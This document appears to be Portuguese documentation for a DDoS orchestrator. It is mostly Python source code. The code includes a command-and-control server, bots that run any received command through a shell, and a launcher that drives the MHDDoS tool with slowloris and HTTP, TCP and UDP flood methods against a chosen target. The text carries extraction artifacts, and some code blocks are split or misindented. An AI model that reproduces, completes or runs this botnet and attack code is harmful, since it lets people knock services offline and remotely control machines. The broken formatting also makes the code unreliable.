Orquestrador de DDoS - Documentação

Orquestrador de DDoS - Documentação

Estrutura de Diretórios

Estrutura de Diretórios

ddos_orchestrator/

??? orchestrator/

?   ??? __init__.py

?   ??? attack.py

?   ??? bot.py

?   ??? c2_server.py

?   ??? orchestrator.py

??? minion.py

Orquestrador de DDoS - Documentação

orchestrator/attack.py

orchestrator/attack.py

```
import subprocess
import time

MHDDoS_PATH = "/caminho/para/MHDDoS"

def list_attack_methods():
    attack_methods = [
        "slowloris",
        "http-flood",
        "tcp-flood",
        "udp-flood",
    ]
    return attack_methods

def start_ddos_attack(target, attack_method, duration):
        print(f"Iniciando ataque DDoS usando {attack_method} ao alvo: {target} por {duration} segundos.")
    command = ["python3", f"{MHDDoS_PATH}/start.py", attack_method, target]
    process = subprocess.Popen(command)

    time.sleep(duration)
    process.terminate()
```

```
process.wait()

print(f"Ataque DDoS usando {attack_method} ao alvo: {target} finalizado.")
```

Orquestrador de DDoS - Documentação

orchestrator/bot.py

orchestrator/bot.py

```
import socket
import subprocess

def bot(server_ip, server_port):
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.connect((server_ip, server_port))
        print(f"Conectado ao servidor de C&C: {server_ip}:{server_port}")
        try:
            while True:
                command = s.recv(1024).decode()
                if command.lower() == "exit":
                    break
                if command:
                    print(f"Executando comando: {command}")
                    subprocess.Popen(command, shell=True)
        finally:
            print("Desconectado do servidor de C&C")
```

Orquestrador de DDoS - Documentação

orchestrator/c2_server.py

orchestrator/c2_server.py

```
import socket
import threading

bots = []

def handle_bot(conn, addr):
    print(f"Bot conectado: {addr}")
    bots.append(conn)
    try:
        while True:
            command = input("Digite o comando para enviar aos bots: ")
            conn.sendall(command.encode())
            if command.lower() == "exit":
                break
    finally:
        conn.close()
        bots.remove(conn)
        print(f"Bot desconectado: {addr}")

def server(host='0.0.0.0', port=9999):
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.bind((host, port))
```

```
s.listen()

print(f"Servidor de C&C escutando em {host}:{port}")

while True:

    conn, addr = s.accept()

    threading.Thread(target=handle_bot, args=(conn, addr)).start()
```

Orquestrador de DDoS - Documentação

orchestrator/orchestrator.py

orchestrator/orchestrator.py

```
import threading
from orchestrator.attack import start_ddos_attack

def orchestrator(target, attack_method, attack_duration):
    print(f"Iniciando orquestrador para o alvo: {target} usando o método: {attack_method}")

        attack_thread = threading.Thread(target=start_ddos_attack, args=(target, attack_method, attack_duration))
    attack_thread.start()
    attack_thread.join()

    print(f"Orquestrador finalizado para o alvo: {target}")
```

Orquestrador de DDoS - Documentação

minion.py

minion.py

```
import argparse
from orchestrator.attack import list_attack_methods
from orchestrator.orchestrator import orchestrator
from orchestrator.c2_server import server
from orchestrator.bot import bot

def main():
    parser = argparse.ArgumentParser(description="Orquestrador de DDoS com MHDDoS")

    subparsers = parser.add_subparsers(dest='command', required=True)

    # Subcomando para listar os métodos de ataque
    subparsers.add_parser('list', help='Listar métodos de ataque disponíveis')

    # Subcomando para iniciar o orquestrador de ataque
    attack_parser = subparsers.add_parser('attack', help='Iniciar ataque DDoS')
    attack_parser.add_argument('target', type=str, help='Alvo do ataque (URL ou IP)')
                attack_parser.add_argument('method', type=str, help='Método de ataque',
choices=list_attack_methods())
    attack_parser.add_argument('duration', type=int, help='Duração do ataque em segundos')

    # Subcomando para iniciar o servidor de C&C
```

```
    c2_parser = subparsers.add_parser('server', help='Iniciar servidor de comando e controle (C&C)')
    c2_parser.add_argument('--host', type=str, default='0.0.0.0', help='Endereço do servidor C&C')
    c2_parser.add_argument('--port', type=int, default=9999, help='Porta do servidor C&C')

    # Subcomando para iniciar um bot
    bot_parser = subparsers.add_parser('bot', help='Iniciar bot')
    bot_parser.add_argument('server_ip', type=str, help='IP do servidor de C&C')
    bot_parser.add_argument('server_port', type=int, help='Porta do servidor de C&C')

    args = parser.parse_args()

    if args.command == 'list':
        methods = list_attack_methods()
        print("Métodos de ataque disponíveis:")
        for method in methods:
            print(f"- {method}")
    elif args.command == 'attack':
        orchestrator(args.target, args.method, args.duration)
    elif args.command == 'server':
        server(args.host, args.port)
    elif args.command == 'bot':
        bot(args.server_ip, args.server_port)

if __name__ == "__main__":
    main()
```